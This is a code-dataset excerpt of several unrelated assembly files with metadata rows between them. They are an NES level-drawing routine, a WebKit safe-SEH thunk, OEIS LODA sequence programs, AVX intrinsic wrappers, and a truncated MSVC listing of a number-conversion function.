jsr DrawBlock
jmp NextItem
.nBLK
lda lvldat,y ; if it's not a block or fill, set the position for now
sta func3
and #$1f
sta func1
iny
lda lvldat,y
sta func2
and #$3f
sta func0
; at this point, 0 = y, 1 = x, x = upper nybble not shifted
txa
bpl .nsprite
jsr DrawObject
jmp NextItem
.nsprite
jsr PPUFormat ; if it's 01000-01111, we need ppu address
txa
cmp #$40
bne .nspike
jsr DrawSpike
jmp NextItem
.nspike
; upper nybble fully checked. cheking lower nybble now to narrow it down
lda func2
and #$c0
jmp NextItem
DrawSpike: subroutine
lda func6
sta PPU_ADDR
lda func7
sta PPU_ADDR
ldx #collist
jsr FindEmptyZp
stx func5 ; keep for later, when x is uncertain
lda func0
sta $0,x
sta $2,x
lda func1
sta $1,x
sta $3,x
inx
lda func2
bpl .horiz
lda #4
sta PPU_CTRL
dex
.horiz
iny
lda lvldat,y
pha ; save it to use for drawing later
sec
adc $0,x
inx
inx
sta $0,x
ldx func5
lda func2 ; set the horizontal or vertical direction of deadly ocol
cmp #2
lda #%01000000
bcs .ver
lda #%10000000
.ver
ora $3,x
sta $3,x
pla
tax
lda func2 ; setting up for drawing
rol
rol
rol
and #$3
clc
adc #$20
sta PPU_DATA
adc #4
.draw
dex
bmi .drawdone
sta PPU_DATA
bpl .draw
.drawdone
adc #4
sta PPU_DATA
lda #0
sta PPU_CTRL
iny
rts
DrawObject: subroutine ; puts sprite objects into the table, doesn't change
ldx #objlist
jsr FindEmptyZp
lda func0 ; set y pos
sta $0,x
inx
lda func3 ; set object type
and #$e0
lsr
lsr
lsr
sta $0,x
lda func2
rol
rol
rol
and #$3
ora $0,x
sta $0,x
inx
lda func1 ; set x pos
and #$1f
sta $0,x
iny
rts
;just to put something in the stack so when drawrect pulls out it doesn't crash
DrawWall: subroutine
pha
jmp DrawRect
DrawFill: subroutine
lda #0
sta func5
lda lvldat,y
sta filbyte
; set sides right away
and #$7
tax
and #$2
; this is some voodoo that maps the 8 possible values into the 4 bit ones we need one to one
bne .oneside
txa
asl
ora $700,x
and #$f
bcc .sidesdone
.oneside
txa
lsr
eor filbyte
and #$3
tax
sec
lda #0
.shift rol
dex
bpl .shift
.sidesdone
sta func4
iny
tya
pha
; load the two overlapping rects
lda blknum ; put 1 in x, 2 in y
tax
tay
dex
lda #$8
bit filbyte
beq .oneback
dex
.oneback
tya
asl
asl
tay
txa
asl
asl
tax
; y coordinate for the fill is always y2
lda collist,y
sta func0
inx
iny
lda collist,y ; compare x2 and x1
cmp collist,x
bcs .x1first
lda #%00001000
sta func5
lda collist,x
.x1first
sta func1
inx
iny
lda collist,y
cmp collist,x
bcc .ye2first
lda #%00000010 ; later will be xor'd with a shifted one, setting the last two bits
ora func5
sta func5
lda collist,x
.ye2first
sec
sbc func0
sta func2
inx
iny
lda collist,y
cmp collist,x
bcc .xe2first
lda #%00000100
ora func5
sta func5
lda collist,x
.xe2first
sec
sbc func1
sta func3
lda func5 ; lol this actually worked
lsr
tax
lsr
lsr
eor $700,x
and #$3
eor func5
sta func5
jmp DrawRect
DrawBlock:
inc blknum
ldx #collist
jsr FindEmptyZp ; find empty in collision list
inx
lda lvldat,y ; put block data in collist
and #$1f
sta func1
sta $0,x
iny
dex
lda lvldat,y
and #$3f
sta func0
sta $0,x
inx
inx
iny
lda lvldat,y
and #$0f
sta func2
clc
adc func0
sta $0,x
inx
lda lvldat,y
lsr
lsr
lsr
lsr
sta func3
clc
adc func1
sta $0,x
lda #$0f ; constant arguments for dirt block
sta func4
lda #$00
sta func5
iny
tya
pha
DrawRect: subroutine ; 0-1 yx, 2 height, 3 width, 4 sides, 5 corners, 6-7 ppu addr
; t0 onflags, t1 block, t2 rowparity, t3 cellparity
jsr PPUFormat
ldy func2
lda func0
and #1
sta tmp2
.cube
lda func6
sta PPU_ADDR
lda func7
sta PPU_ADDR
lda #0
cpy #0 ; setting two high bits of on flags
bne .yntop
lda #$4
jmp .ydone
.yntop cpy func2
bne .ydone
lda #$8
.ydone sta tmp0
ldx func3
lda func1
and #1
sta tmp3
.row lda tmp0 ; setting two low bits of on flags
and #$fc
cpx #0
bne .xnleft
ora #$1
jmp .xdone
.xnleft cpx func3
bne .xdone
ora #$02
.xdone sta tmp0
and func4
bne .nzero
lda #$3
bit tmp0
beq .nincor
lda #$c
bit tmp0
beq .nincor
; if corner and sides not set, convert to inner
lda #$08
bit tmp0
beq .fzero
.fone lda #$0f
eor tmp0
asl
asl
eor #$13
jmp .fdone
.fzero lda #$08
clc
adc tmp0
.fdone sta tmp1
ora func5
cmp #$0f
bne .nincor
lda tmp1
bne .nzero ; jump if defined!
.nincor lda #0
.nzero
clc
adc #1
sta tmp1 ; check parity and add $10 for odd cells
lda tmp2
clc
adc tmp3
asl
asl
asl
asl
and #$10
clc
adc tmp1
.drawblock
sta PPU_DATA
inc tmp3
dex
bpl .row
lda func7 ; go to the next row
clc
adc #$20
sta func7
lda func6
adc #0
sta func6
cmp #$23 ; if entered nametable 2, jump straight to 3
bne .nchangescreen
lda func7
cmp #$c0
bcc .nchangescreen
lda #$28
sta func6
lda func7
and #$1f
sta func7
.nchangescreen
inc tmp2
dey
bmi .out
jmp .cube
.out
pla
tay
rts
| 16.754237 | 100 | 0.462519 |
32fcfaf24b3c911c1f8bd27c4bfacf1013f064c4 | 1,942 | asm | Assembly | Source/WebCore/platform/win/makesafeseh.asm | jacadcaps/webkitty | 9aebd2081349f9a7b5d168673c6f676a1450a66d | [
"BSD-2-Clause"
] | 6 | 2021-07-05T16:09:39.000Z | 2022-03-06T22:44:42.000Z | WebLayoutCore/Source/WebCore/platform/win/makesafeseh.asm | gubaojian/trylearn | 74dd5c6c977f8d867d6aa360b84bc98cb82f480c | [
"MIT"
] | 7 | 2022-03-15T13:25:39.000Z | 2022-03-15T13:25:44.000Z | Source/WebCore/platform/win/makesafeseh.asm | jacadcaps/webkitty | 9aebd2081349f9a7b5d168673c6f676a1450a66d | [
"BSD-2-Clause"
] | 1 | 2018-07-10T10:53:18.000Z | 2018-07-10T10:53:18.000Z | ;/*
; * Copyright (C) 2013 Apple, Inc. All rights reserved
; *
; * Redistribution and use in source and binary forms, with or without
; * modification, are permitted provided that the following conditions
; * are met:
; * 1. Redistributions of source code must retain the above copyright
; * notice, this list of conditions and the following disclaimer.
; * 2. Redistributions in binary form must reproduce the above copyright
; * notice, this list of conditions and the following disclaimer in the
; * documentation and/or other materials provided with the distribution.
; *
; * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
; * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR
; * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
; * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
; * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; */
; Tell Windows to trust our error handler. This must be done within an assembly
; module. We cannot do it on-the-fly in our C++ code.
;
; Note also (confirmed by Raymond Chen) that we must use this assembly thunk
; to call our custom exception handler. (See http://jpassing.com/2008/05/20/fun-with-low-level-seh/)
.386
.model FLAT, STDCALL
EXTERN exceptionHandler@16 : near ; Defined in StructuredExceptionHandlerSuppressor.cpp
exceptionHandlerThunk proto
.safeseh exceptionHandlerThunk
.code
exceptionHandlerThunk proc
jmp exceptionHandler@16
exceptionHandlerThunk endp
END | 43.155556 | 100 | 0.760041 |
a3fb6579d1e7efc1364b70816753991fe7926525 | 705 | asm | Assembly | oeis/174/A174325.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/174/A174325.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/174/A174325.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A174325: Trisection A061037(3*n-2) of the Balmer spectrum numerators extended to negative indices.
; 0,-3,3,45,6,165,63,357,30,621,195,957,72,1365,399,1845,132,2397,675,3021,210,3717,1023,4485,306,5325,1443,6237,420,7221,1935,8277,552,9405,2499,10605,702,11877,3135,13221,870,14637,3843,16125,1056,17685,4623,19317,1260,21021,5475,22797,1482,24645,6399,26565,1722,28557,7395,30621,1980,32757,8463,34965,2256,37245,9603,39597,2550,42021,10815,44517,2862,47085,12099,49725,3192,52437,13455,55221,3540,58077,14883,61005,3906,64005,16383,67077,4290,70221,17955,73437,4692,76725,19599,80085,5112,83517
mul $0,3
seq $0,181829 ; a(n) = 4*A060819(n-2)*A060819(n+2).
mul $0,12671122464000
div $0,50684489856000
| 88.125 | 497 | 0.780142 |
b8044c6691f752f111d5124737711e13efaea10b | 401 | asm | Assembly | programs/oeis/082/A082851.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/082/A082851.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/082/A082851.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A082851: Partial sums of A082850.
; 1,2,4,5,6,8,11,12,13,15,16,17,19,22,26,27,28,30,31,32,34,37,38,39,41,42,43,45,48,52,57,58,59,61,62,63,65,68,69,70,72,73,74,76,79,83,84,85,87,88,89,91,94,95,96,98,99,100,102,105,109,114,120,121,122,124,125,126
lpb $0
mov $2,$0
sub $0,1
seq $2,82850 ; Let S(0) = {}, S(n) = {S(n-1), S(n-1), n}; sequence gives S(infinity).
add $1,$2
lpe
add $1,1
mov $0,$1
| 33.416667 | 210 | 0.610973 |
127c2e699f7b948905de38e1579b602eeb74e43a | 8,880 | asm | Assembly | src/host/x86/avx/asm/uXimmintrin.asm | Navegos/uasmlib | 619ba610750cb05dc689d93f07712e7595fcecc2 | [
"MIT"
] | 3 | 2020-08-14T07:08:05.000Z | 2020-12-16T19:44:44.000Z | src/host/x86/avx/asm/uXimmintrin.asm | Navegos/uasmlib | 619ba610750cb05dc689d93f07712e7595fcecc2 | [
"MIT"
] | null | null | null | src/host/x86/avx/asm/uXimmintrin.asm | Navegos/uasmlib | 619ba610750cb05dc689d93f07712e7595fcecc2 | [
"MIT"
] | 1 | 2019-07-16T03:28:30.000Z | 2019-07-16T03:28:30.000Z |
include uXx86asm.inc
ifndef __MIC__
.ymm
option arch:avx
option evex:0
;include uXavx256intrin.inc
include uXymmconstdata.inc
.const
uXalignsize_t
_m256cvteltdf64jmptable isize_t offset _m256cvteltdf64_0, offset _m256cvteltdf64_1
.data?
uXalignymm
m256_setepi8_hi1 ymmword ?
uXalignymm
m256_setepi8_hi0 ymmword ?
uXalignymm
m256_setrepi8_hi1 ymmword ?
uXalignymm
m256_setrepi8_hi0 ymmword ?
uXalignymmFPopt
uXveccallopt
.code
;******************
; Externs
;******************
;extern uXveccall _uX_intrin_CPUFeatures:proc
;******************
; FP, arithmetic
;******************
uXprocstart _uX_mm256_add_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vaddss ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_add_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vaddps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_sub_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vsubss ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_sub_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vsubps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_mul_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmulss ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_mul_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmulps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_div_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vdivss ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_div_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vdivps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_sqrt_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vsqrtss ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_sqrt_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vsqrtps ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_rcp_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vrcpss ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_rcp_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vrcpps ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_rsqrt_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vrsqrtss ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_rsqrt_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vrsqrtps ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_min_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vminss ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_min_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vminps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_max_ss, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmaxss ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_max_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmaxps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_addsub_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vaddsubps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_hadd_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vhaddps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_hsub_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vhsubps ymm0, ymm1
ret
uXprocend
;******************
; DP, arithmetic
;******************
uXprocstart _uX_mm256_add_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vaddsd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_add_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vaddpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_sub_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vsubsd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_sub_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vsubpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_mul_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmulsd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_mul_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmulpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_div_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vdivsd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_div_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vdivpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_sqrt_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vsqrtsd ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_sqrt_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vsqrtpd ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_rcp_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vmovapd xmm1, __m256d_s1
vdivsd xmm1, xmm0
vmovapd xmm0, xmm1
ret
uXprocend
uXprocstart _uX_mm256_rcp_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vmovapd xmm1, __m256d_1
vdivpd xmm1, xmm0
vmovapd xmm0, xmm1
ret
uXprocend
uXprocstart _uX_mm256_rsqrt_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vmovapd xmm1, __m256d_s1
vsqrtsd xmm0, xmm0
vdivsd xmm1, xmm0
vmovapd xmm0, xmm1
ret
uXprocend
uXprocstart _uX_mm256_rsqrt_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vmovapd xmm1, __m256d_1
vsqrtpd xmm0, xmm0
vdivpd xmm1, xmm0
vmovapd xmm0, xmm1
ret
uXprocend
uXprocstart _uX_mm256_min_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vminsd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_min_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vminpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_max_sd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmaxsd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_max_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vmaxpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_addsub_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vaddsubpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_hadd_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vhaddpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_hsub_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vhsubpd ymm0, ymm1
ret
uXprocend
;******************
; FP, logical
;******************
uXprocstart _uX_mm256_and_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vandps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_andnot_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vandnps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_or_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vorps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_xor_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vxorps ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_not_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vmovaps ymm1, __m256_true
vxorps ymm0, ymm1
ret
uXprocend
;******************
; DP, logical
;******************
uXprocstart _uX_mm256_and_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vandpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_andnot_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vandnpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_or_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vorpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_xor_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A), ymmwordparam2(Inymm_B)
vxorpd ymm0, ymm1
ret
uXprocend
uXprocstart _uX_mm256_not_pd, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vmovapd ymm1, __m256d_true
vxorpd ymm0, ymm1
ret
uXprocend
;******************
; FP, conversions
;******************
uXprocstart _uX_mm256_cvtepi32_ps, ymmword, < >, < >, ymmwordparam1(Inymm_A)
vcvtdq2ps ymm0, ymm0
ret
uXprocend
uXprocstart _uX_mm256_cvtpd_ps, xmmword, < >, < >, ymmwordparam1(Inymm_A)
vcvtpd2ps xmm0, ymm0
ret
uXprocend
;******************
; DP, conversions
;******************
uXprocstart _uX_mm256_cvtepi32_pd, ymmword, < >, < >, xmmwordparam1(Inymm_A)
vcvtdq2pd ymm0, xmm0
ret
uXprocend
uXprocstart _uX_mm256_cvtps_pd, ymmword, < >, < >, xmmwordparam1(Inymm_A)
vcvtpd2ps ymm0, xmm0
ret
uXprocend
endif ;__MIC__
end
| 18.974359 | 99 | 0.678716 |
9eed36d4029c9b227dfb47de1fe183715b1b57a1 | 13,568 | asm | Assembly | Palmtree.Math.Core.Sint/vs_build/x64_Debug/pmc_from.asm | rougemeilland/Palmtree.Math.Core.Sint | 0895fd4988b146f01ec705e091ef3fd79a721b40 | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Sint/vs_build/x64_Debug/pmc_from.asm | rougemeilland/Palmtree.Math.Core.Sint | 0895fd4988b146f01ec705e091ef3fd79a721b40 | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Sint/vs_build/x64_Debug/pmc_from.asm | rougemeilland/Palmtree.Math.Core.Sint | 0895fd4988b146f01ec705e091ef3fd79a721b40 | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM uint_number_zero:QWORD
COMM uint_number_one:QWORD
_DATA ENDS
msvcjmc SEGMENT
__7B7A869E_ctype@h DB 01H
__457DD326_basetsd@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__1887E595_winnt@h DB 01H
__9FC7C64B_processthreadsapi@h DB 01H
__FA470AEC_memoryapi@h DB 01H
__F37DAFF1_winerror@h DB 01H
__7A450CCC_winbase@h DB 01H
__B4B40122_winioctl@h DB 01H
__86261D59_stralign@h DB 01H
__B21D7C08_pmc_from@c DB 01H
msvcjmc ENDS
PUBLIC From_I_Imp
PUBLIC From_L_Imp
PUBLIC PMC_From_I
PUBLIC PMC_From_L
PUBLIC __JustMyCode_Default
EXTRN AllocateNumber:PROC
EXTRN _RTC_CheckStackVars:PROC
EXTRN _RTC_InitBase:PROC
EXTRN _RTC_Shutdown:PROC
EXTRN __CheckForDebuggerJustMyCode:PROC
EXTRN __GSHandlerCheck:PROC
EXTRN __security_check_cookie:PROC
EXTRN ep_uint:BYTE
EXTRN number_zero:BYTE
EXTRN __security_cookie:QWORD
; COMDAT pdata
pdata SEGMENT
$pdata$From_I_Imp DD imagerel $LN7
DD imagerel $LN7+225
DD imagerel $unwind$From_I_Imp
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$From_L_Imp DD imagerel $LN7
DD imagerel $LN7+227
DD imagerel $unwind$From_L_Imp
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_From_I DD imagerel $LN10
DD imagerel $LN10+258
DD imagerel $unwind$PMC_From_I
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_From_L DD imagerel $LN10
DD imagerel $LN10+267
DD imagerel $unwind$PMC_From_L
pdata ENDS
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
_RTC_Shutdown.rtc$TMZ DQ FLAT:_RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
_RTC_InitBase.rtc$IMZ DQ FLAT:_RTC_InitBase
rtc$IMZ ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_From_L DD 025054019H
DD 01132318H
DD 0700c0025H
DD 0500bH
DD imagerel __GSHandlerCheck
DD 0118H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
PMC_From_L$rtcName$0 DB 070H
DB 00H
ORG $+14
PMC_From_L$rtcVarDesc DD 048H
DD 08H
DQ FLAT:PMC_From_L$rtcName$0
ORG $+48
PMC_From_L$rtcFrameData DD 01H
DD 00H
DQ FLAT:PMC_From_L$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_From_I DD 025053e19H
DD 01122317H
DD 0700b0025H
DD 0500aH
DD imagerel __GSHandlerCheck
DD 0118H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
PMC_From_I$rtcName$0 DB 070H
DB 00H
ORG $+14
PMC_From_I$rtcVarDesc DD 048H
DD 08H
DQ FLAT:PMC_From_I$rtcName$0
ORG $+48
PMC_From_I$rtcFrameData DD 01H
DD 00H
DQ FLAT:PMC_From_I$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$From_L_Imp DD 025054419H
DD 0117231cH
DD 070100025H
DD 0500fH
DD imagerel __GSHandlerCheck
DD 0118H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
From_L_Imp$rtcName$0 DB 06fH
DB 05fH
DB 061H
DB 062H
DB 073H
DB 00H
ORG $+10
From_L_Imp$rtcVarDesc DD 048H
DD 08H
DQ FLAT:From_L_Imp$rtcName$0
ORG $+48
From_L_Imp$rtcFrameData DD 01H
DD 00H
DQ FLAT:From_L_Imp$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$From_I_Imp DD 025054319H
DD 0116231bH
DD 0700f0025H
DD 0500eH
DD imagerel __GSHandlerCheck
DD 0118H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
From_I_Imp$rtcName$0 DB 06fH
DB 05fH
DB 061H
DB 062H
DB 073H
DB 00H
ORG $+10
From_I_Imp$rtcVarDesc DD 048H
DD 08H
DQ FLAT:From_I_Imp$rtcName$0
ORG $+48
From_I_Imp$rtcFrameData DD 01H
DD 00H
DQ FLAT:From_I_Imp$rtcVarDesc
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_from.c
; COMDAT PMC_From_L
_TEXT SEGMENT
result$ = 4
p$4 = 40
__$ArrayPad$ = 248
x$ = 288
o$ = 296
PMC_From_L PROC ; COMDAT
; 84 : {
$LN10:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 296 ; 00000128H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 74 ; 0000004aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+328]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__B21D7C08_pmc_from@c
call __CheckForDebuggerJustMyCode
; 85 : PMC_STATUS_CODE result;
; 86 : if (x == 0)
cmp QWORD PTR x$[rbp], 0
jne SHORT $LN2@PMC_From_L
; 87 : *o = (PMC_HANDLE_SINT)&number_zero;
mov rax, QWORD PTR o$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
jmp SHORT $LN3@PMC_From_L
$LN2@PMC_From_L:
; 88 : else
; 89 : {
; 90 : NUMBER_HEADER* p;
; 91 : if (x == 0)
cmp QWORD PTR x$[rbp], 0
jne SHORT $LN4@PMC_From_L
; 92 : result = From_L_Imp(0, 0, &p);
lea r8, QWORD PTR p$4[rbp]
xor edx, edx
xor ecx, ecx
call From_L_Imp
mov DWORD PTR result$[rbp], eax
jmp SHORT $LN5@PMC_From_L
$LN4@PMC_From_L:
; 93 : else if (x > 0)
cmp QWORD PTR x$[rbp], 0
jle SHORT $LN6@PMC_From_L
; 94 : result = From_L_Imp(1, x, &p);
lea r8, QWORD PTR p$4[rbp]
mov rdx, QWORD PTR x$[rbp]
mov cl, 1
call From_L_Imp
mov DWORD PTR result$[rbp], eax
jmp SHORT $LN7@PMC_From_L
$LN6@PMC_From_L:
; 95 : else
; 96 : result = From_L_Imp(-1, -x, &p);
mov rax, QWORD PTR x$[rbp]
neg rax
lea r8, QWORD PTR p$4[rbp]
mov rdx, rax
mov cl, -1
call From_L_Imp
mov DWORD PTR result$[rbp], eax
$LN7@PMC_From_L:
